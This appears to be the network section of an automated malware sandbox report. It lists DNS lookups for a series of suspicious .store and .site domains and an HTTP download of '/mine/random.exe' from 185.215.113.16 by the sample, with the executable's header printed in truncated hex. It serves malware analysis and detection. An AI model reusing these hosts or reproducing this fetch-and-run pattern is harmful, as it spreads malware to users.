Oct 24, 2024 09:08:23.865371943 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.865390062 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.865535975 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.865586996 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.865588903 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.865622044 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.865638971 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.865654945 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.865670919 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.865690947 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.865705013 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.865742922 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.865859985 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.865915060 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.865997076 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.866025925 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.866055965 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.866060019 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.866080046 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.866094112 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.866116047 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.866127968 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.866142988 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.866168976 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.866309881 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.866342068 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.866362095 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.866394997 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.866399050 CEST	50001	80	192.168.2.6	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 09:07:09.965749025 CEST	192.168.2.6	1.1.1.1	0x52d1	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:09.986830950 CEST	192.168.2.6	1.1.1.1	0x3457	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:10.067142010 CEST	192.168.2.6	1.1.1.1	0xe9a8	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:10.078689098 CEST	192.168.2.6	1.1.1.1	0x86a5	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:10.096926928 CEST	192.168.2.6	1.1.1.1	0xf348	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:10.108239889 CEST	192.168.2.6	1.1.1.1	0x7c04	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:10.119901896 CEST	192.168.2.6	1.1.1.1	0xdf79	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:10.131288052 CEST	192.168.2.6	1.1.1.1	0x32dd	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:10.143265009 CEST	192.168.2.6	1.1.1.1	0xc494	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:11.757126093 CEST	192.168.2.6	1.1.1.1	0x5554	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.658279896 CEST	192.168.2.6	1.1.1.1	0xfb47	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.672292948 CEST	192.168.2.6	1.1.1.1	0x13ea	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.684948921 CEST	192.168.2.6	1.1.1.1	0x6488	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.696417093 CEST	192.168.2.6	1.1.1.1	0x23c7	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.708631992 CEST	192.168.2.6	1.1.1.1	0xd44a	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.720988989 CEST	192.168.2.6	1.1.1.1	0xd1be	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.734251022 CEST	192.168.2.6	1.1.1.1	0xd11a	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.746454000 CEST	192.168.2.6	1.1.1.1	0xc6f2	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.760620117 CEST	192.168.2.6	1.1.1.1	0x78b5	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.444188118 CEST	192.168.2.6	1.1.1.1	0xdc9a	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.456219912 CEST	192.168.2.6	1.1.1.1	0xfc29	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.499382019 CEST	192.168.2.6	1.1.1.1	0x658	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.561898947 CEST	192.168.2.6	1.1.1.1	0x57a1	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.603873014 CEST	192.168.2.6	1.1.1.1	0x610e	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.615891933 CEST	192.168.2.6	1.1.1.1	0xa3f9	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.681339979 CEST	192.168.2.6	1.1.1.1	0xde39	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.692255020 CEST	192.168.2.6	1.1.1.1	0x44ae	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.721462965 CEST	192.168.2.6	1.1.1.1	0x9bf6	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:43.857208967 CEST	192.168.2.6	1.1.1.1	0x8610	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:43.917602062 CEST	192.168.2.6	1.1.1.1	0xedc	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 09:08:44.778502941 CEST	192.168.2.6	1.1.1.1	0xa5fd	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:44.789324999 CEST	192.168.2.6	1.1.1.1	0x8feb	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:44.819541931 CEST	192.168.2.6	1.1.1.1	0x2eb1	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 09:08:47.399296045 CEST	192.168.2.6	1.1.1.1	0x8c9f	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:47.399838924 CEST	192.168.2.6	1.1.1.1	0x7de	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:47.409753084 CEST	192.168.2.6	1.1.1.1	0xeae1	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:47.410630941 CEST	192.168.2.6	1.1.1.1	0x3af7	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:47.425446987 CEST	192.168.2.6	1.1.1.1	0x54d0	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:47.435372114 CEST	192.168.2.6	1.1.1.1	0x1d95	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 24, 2024 09:08:48.478180885 CEST	192.168.2.6	1.1.1.1	0xe8fa	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:03.421056986 CEST	192.168.2.6	1.1.1.1	0x3d6a	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 09:09:03.422513962 CEST	192.168.2.6	1.1.1.1	0x4d4b	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:05.854733944 CEST	192.168.2.6	1.1.1.1	0x4af2	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:05.880783081 CEST	192.168.2.6	1.1.1.1	0x705c	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:05.895809889 CEST	192.168.2.6	1.1.1.1	0xb5c8	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:05.907108068 CEST	192.168.2.6	1.1.1.1	0x7156	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:05.924026012 CEST	192.168.2.6	1.1.1.1	0x224a	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:05.944427967 CEST	192.168.2.6	1.1.1.1	0x6772	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:05.963459969 CEST	192.168.2.6	1.1.1.1	0xa816	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:06.039370060 CEST	192.168.2.6	1.1.1.1	0x6435	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:06.060583115 CEST	192.168.2.6	1.1.1.1	0x249d	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:21.172220945 CEST	192.168.2.6	1.1.1.1	0xa8fd	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:28.411629915 CEST	192.168.2.6	1.1.1.1	0xd9d8	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 09:09:28.624037981 CEST	192.168.2.6	1.1.1.1	0xf3d8	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 24, 2024 09:09:29.314260960 CEST	192.168.2.6	1.1.1.1	0x5205	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 09:07:09.979265928 CEST	1.1.1.1	192.168.2.6	0x52d1	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:09.997071981 CEST	1.1.1.1	192.168.2.6	0x3457	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:10.076417923 CEST	1.1.1.1	192.168.2.6	0xe9a8	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:10.094871044 CEST	1.1.1.1	192.168.2.6	0x86a5	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:10.106592894 CEST	1.1.1.1	192.168.2.6	0xf348	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:10.118115902 CEST	1.1.1.1	192.168.2.6	0x7c04	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:10.129637957 CEST	1.1.1.1	192.168.2.6	0xdf79	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:10.140552998 CEST	1.1.1.1	192.168.2.6	0x32dd	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:10.151520014 CEST	1.1.1.1	192.168.2.6	0xc494	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:11.768049002 CEST	1.1.1.1	192.168.2.6	0x5554	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:07:11.768049002 CEST	1.1.1.1	192.168.2.6	0x5554	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.669857979 CEST	1.1.1.1	192.168.2.6	0xfb47	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.682553053 CEST	1.1.1.1	192.168.2.6	0x13ea	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.694966078 CEST	1.1.1.1	192.168.2.6	0x6488	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.706914902 CEST	1.1.1.1	192.168.2.6	0x23c7	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.718173981 CEST	1.1.1.1	192.168.2.6	0xd44a	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.731828928 CEST	1.1.1.1	192.168.2.6	0xd1be	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.744329929 CEST	1.1.1.1	192.168.2.6	0xd11a	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.757749081 CEST	1.1.1.1	192.168.2.6	0xc6f2	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:17.769107103 CEST	1.1.1.1	192.168.2.6	0x78b5	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.454312086 CEST	1.1.1.1	192.168.2.6	0xdc9a	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.469753027 CEST	1.1.1.1	192.168.2.6	0xfc29	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.508519888 CEST	1.1.1.1	192.168.2.6	0x658	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.571835995 CEST	1.1.1.1	192.168.2.6	0x57a1	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.613390923 CEST	1.1.1.1	192.168.2.6	0x610e	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.625284910 CEST	1.1.1.1	192.168.2.6	0xa3f9	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.690265894 CEST	1.1.1.1	192.168.2.6	0xde39	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.702054024 CEST	1.1.1.1	192.168.2.6	0x44ae	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:33.729279041 CEST	1.1.1.1	192.168.2.6	0x9bf6	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:43.851711035 CEST	1.1.1.1	192.168.2.6	0x4af4	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:43.865220070 CEST	1.1.1.1	192.168.2.6	0x8610	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:44.786406994 CEST	1.1.1.1	192.168.2.6	0xa5fd	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 09:08:44.786406994 CEST	1.1.1.1	192.168.2.6	0xa5fd	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:44.796937943 CEST	1.1.1.1	192.168.2.6	0x8feb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:44.826819897 CEST	1.1.1.1	192.168.2.6	0x2eb1	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 24, 2024 09:08:47.407181025 CEST	1.1.1.1	192.168.2.6	0x7de	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:47.407267094 CEST	1.1.1.1	192.168.2.6	0x8c9f	No error (0)	youtube.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:47.417052031 CEST	1.1.1.1	192.168.2.6	0xeae1	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:47.418343067 CEST	1.1.1.1	192.168.2.6	0x3af7	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:47.418343067 CEST	1.1.1.1	192.168.2.6	0x3af7	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:47.433033943 CEST	1.1.1.1	192.168.2.6	0x54d0	No error (0)	youtube.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:08:47.443126917 CEST	1.1.1.1	192.168.2.6	0x1d95	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 24, 2024 09:08:48.485605001 CEST	1.1.1.1	192.168.2.6	0xe8fa	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 09:08:48.485605001 CEST	1.1.1.1	192.168.2.6	0xe8fa	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:03.430166006 CEST	1.1.1.1	192.168.2.6	0x4d4b	No error (0)	youtube.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:05.866302013 CEST	1.1.1.1	192.168.2.6	0x4af2	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:05.890451908 CEST	1.1.1.1	192.168.2.6	0x705c	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:05.906065941 CEST	1.1.1.1	192.168.2.6	0xb5c8	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:05.918972969 CEST	1.1.1.1	192.168.2.6	0x7156	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:05.938883066 CEST	1.1.1.1	192.168.2.6	0x224a	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:05.955508947 CEST	1.1.1.1	192.168.2.6	0x6772	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:05.972611904 CEST	1.1.1.1	192.168.2.6	0xa816	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:06.050966978 CEST	1.1.1.1	192.168.2.6	0x6435	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:06.068753004 CEST	1.1.1.1	192.168.2.6	0x249d	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:21.179529905 CEST	1.1.1.1	192.168.2.6	0xa8fd	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 09:09:21.179529905 CEST	1.1.1.1	192.168.2.6	0xa8fd	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 09:09:28.631432056 CEST	1.1.1.1	192.168.2.6	0xf3d8	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 24, 2024 09:09:29.322405100 CEST	1.1.1.1	192.168.2.6	0x5205	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 09:09:29.322405100 CEST	1.1.1.1	192.168.2.6	0x5205	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49772	185.215.113.16	80	2532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:07:23.997030020 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 09:07:24.918363094 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:07:24 GMT Content-Type: application/octet-stream Content-Length: 1911296 Last-Modified: Thu, 24 Oct 2024 06:55:23 GMT Connection: keep-alive ETag: "6719ef5b-1d2a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 c0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@K@WkKK @.rsrc@.idata @ *@sygcicsm1@gyxlqsfmK@.taggant0K"@
Oct 24, 2024 09:07:24.918401957 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:07:24.918500900 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:07:24.918560982 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:07:24.918576956 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:07:24.918651104 CEST	636	IN	Data Raw: 9a 92 b3 64 6d c9 13 b8 0d ff 14 f3 99 8f 14 c5 58 83 10 c5 b9 ca 05 d3 95 ef c9 2d 39 aa 33 24 b2 3f 14 68 b4 28 03 ac 35 23 37 37 4e d3 57 cf c9 8e 5d e8 95 76 3c 17 ff db fb 87 ca cb c2 28 c8 0f 15 f7 74 8f 78 e0 b4 e7 a2 e8 55 c1 26 c2 c7 eb Data Ascii: dmX-93$?h(5#77NW]v<(txU&wwT(c#DdS8@ry[5"xW5{%,w+,yQ\|1\|sc445'((#&xaP3"4'XSx58
Oct 24, 2024 09:07:24.918665886 CEST	1236	IN	Data Raw: c7 2e 05 d4 6c c0 06 0e 26 da 43 c4 f9 e3 1d 13 0a e1 83 b4 78 58 96 d8 c7 7f 02 c4 83 c1 35 f3 a6 8f 04 77 3b a3 f3 bb 0f e3 3f d2 a7 03 07 60 a8 58 90 24 d6 c7 13 10 ca cb 02 28 c8 4f 15 37 ee 5f 08 24 a6 16 38 da 74 e3 56 b4 c9 88 67 49 e6 2f Data Ascii: .l&CxX5w;?`X$(O7_$8tVgI/(=sc,=DoNt_t\|37&\|'\|4#&,Y]p?xS 54tqf"SnlL84#6t:$r+'x
Oct 24, 2024 09:07:24.918683052 CEST	212	IN	Data Raw: 70 2e 92 fa 72 9e 3c aa 61 bd 2e ee 04 de 02 14 74 a5 83 d2 99 4f f5 01 46 37 76 d6 45 92 97 b6 cf bf 33 76 76 c5 66 07 b8 da 35 00 94 e2 49 61 a5 2b ce ab e4 b9 20 c2 fa b9 46 2f 62 76 be d7 f0 b3 2d 1c f1 ae 7c 10 aa b2 25 27 d6 bb 57 f7 c9 f7 Data Ascii: p.r<a.tOF7vE3vvf5Ia+ F/bv-\|%'W~J=_igDm^Xw0zb?F"J]??ugY-R5^rnY7P~_&"qh:d
Oct 24, 2024 09:07:24.918706894 CEST	1236	IN	Data Raw: 0c f0 09 fe 06 67 69 7c b1 65 7d a0 66 f0 f9 f5 c0 67 6b c9 bd ef cf 40 8a 07 02 79 eb 01 f7 93 46 1c 9d be 1f af 75 43 4e 76 ba a8 eb a5 cf b4 15 98 37 fe d6 b9 ca 8c 03 6c f9 4d 4a e5 91 16 b2 49 18 54 c8 60 12 25 7e 1b 97 48 78 b3 35 21 c6 e1 Data Ascii: gi\|e}fgk@yFuCNv7lMJIT`%~Hx5!.`%jF4P1m(7Mq2"PqlM:;'iEg?hSX4 .,\|3-Wt}fBRm1a"L7GQ
Oct 24, 2024 09:07:24.918735027 CEST	212	IN	Data Raw: 83 28 06 f7 c5 a7 89 2d 8f 3d 99 3e 96 43 37 5c 0e a3 7a f9 88 7b 09 7d 96 82 ce c7 95 3c df 97 6b a0 4f e9 a4 40 cb 39 e2 19 ba 35 1c 65 2c f0 26 36 86 b4 b8 95 ad 46 ad 50 84 18 2e 29 6f c1 7d a2 6a 64 85 c3 a8 84 b7 df b7 1e 07 24 f5 de 75 13 Data Ascii: (-=>C7\z{}<kO@95e,&6FP.)o}jd$u`],t>^/>@_i<+9sFK*G(sI]K%BA2U#4L42X1gvKQ7O?U3<Gf.l)ct
